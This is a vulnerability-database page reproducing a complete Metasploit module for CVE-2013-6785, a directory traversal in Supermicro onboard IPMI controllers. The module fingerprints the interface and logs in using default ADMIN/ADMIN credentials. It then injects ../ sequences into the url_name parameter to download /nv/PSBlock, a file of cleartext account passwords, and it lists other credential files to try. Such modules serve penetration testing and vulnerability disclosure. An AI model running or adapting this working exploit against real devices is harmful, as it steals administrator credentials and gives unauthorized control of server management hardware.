Lucene search
+L

Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal

🗓️ 06 Nov 2013 00:00:00Reported by hdm <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 103 Views

Supermicro IPMI directory traversal vulnerability expose

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2013-6785
29 May 201815:50
circl
cve
CVE
CVE-2013-6785
23 Jan 202014:16
cve
cvelist
Cvelist
CVE-2013-6785
23 Jan 202014:16
cvelist
euvd
EUVD
EUVD-2013-6587
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-6785
23 Jan 202015:15
nvd
prion
Prion
Directory traversal
23 Jan 202015:15
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  APP_NAME = "Supermicro web interface"

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal',
        'Description' => %q{
          This module abuses a directory traversal vulnerability in the url_redirect.cgi application
          accessible through the web interface of Supermicro Onboard IPMI controllers.  The vulnerability
          is present due to a lack of sanitization of the url_name parameter. This allows an attacker with
          a valid, but not necessarily administrator-level account, to access the contents of any file
          on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
          all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
          with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and
          /wsman/simple_auth.passwd
        },
        'Author' => [
          'hdm', # Discovery and analysis
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-6785' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/' ],
          [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
        ],
        'DisclosureDate' => '2013-11-06',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('DEPTH', [true, 'Traversal depth', 1]), # By default downloads from /tmp
        OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']),
        OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']),
        OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN'])
      ]
    )
  end

  def my_basename(filename)
    return ::File.basename(filename.gsub(/\\/, "/"))
  end

  def is_supermicro?
    res = send_request_cgi(
      {
        "uri" => "/",
        "method" => "GET"
      }
    )

    if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./
      return true
    else
      return false
    end
  end

  def login
    res = send_request_cgi({
      "uri" => "/cgi/login.cgi",
      "method" => "POST",
      "vars_post" => {
        "name" => datastore["USERNAME"],
        "pwd" => datastore["PASSWORD"]
      }
    })

    if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/
      return $1
    else
      return nil
    end
  end

  def read_file(file, session)
    travs = ""
    travs << "../" * datastore['DEPTH']
    travs << file

    print_status("Retrieving file contents...")

    res = send_request_cgi({
      "uri" => "/cgi/url_redirect.cgi",
      "method" => "GET",
      "cookie" => session,
      "encode_params" => false,
      "vars_get" => {
        "url_type" => "file",
        "url_name" => travs
      }
    })

    if res and res.code == 200 and res.headers["Content-type"].to_s =~ /text\/html/ and res.headers["Pragma"].nil?
      return res.body.to_s
    else
      return nil
    end
  end

  def run_host(ip)
    print_status("Checking if it's a #{APP_NAME}....")
    if is_supermicro?
      print_good("Check successful")
    else
      print_error("#{APP_NAME} not found")
      return
    end

    print_status("Login into the #{APP_NAME}...")
    session = login
    if session.nil?
      print_error("Failed to login, check credentials.")
      return
    else
      print_good("Login Successful, session: #{session}")
    end

    contents = read_file(datastore['FILEPATH'], session)
    if contents.nil?
      print_error("File not downloaded")
      return
    end

    file_name = my_basename(datastore['FILEPATH'])
    path = store_loot(
      'supermicro.ipmi.traversal.psblock',
      'application/octet-stream',
      rhost,
      contents,
      file_name
    )
    print_good("File saved in: #{path}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation